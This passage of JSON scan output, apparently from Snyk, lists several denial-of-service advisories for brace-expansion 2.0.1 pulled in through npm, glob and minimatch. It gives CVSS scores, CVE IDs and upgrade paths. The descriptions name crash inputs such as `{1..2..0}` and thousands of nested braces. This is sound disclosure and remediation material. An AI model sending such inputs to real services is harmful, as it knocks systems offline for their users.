"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
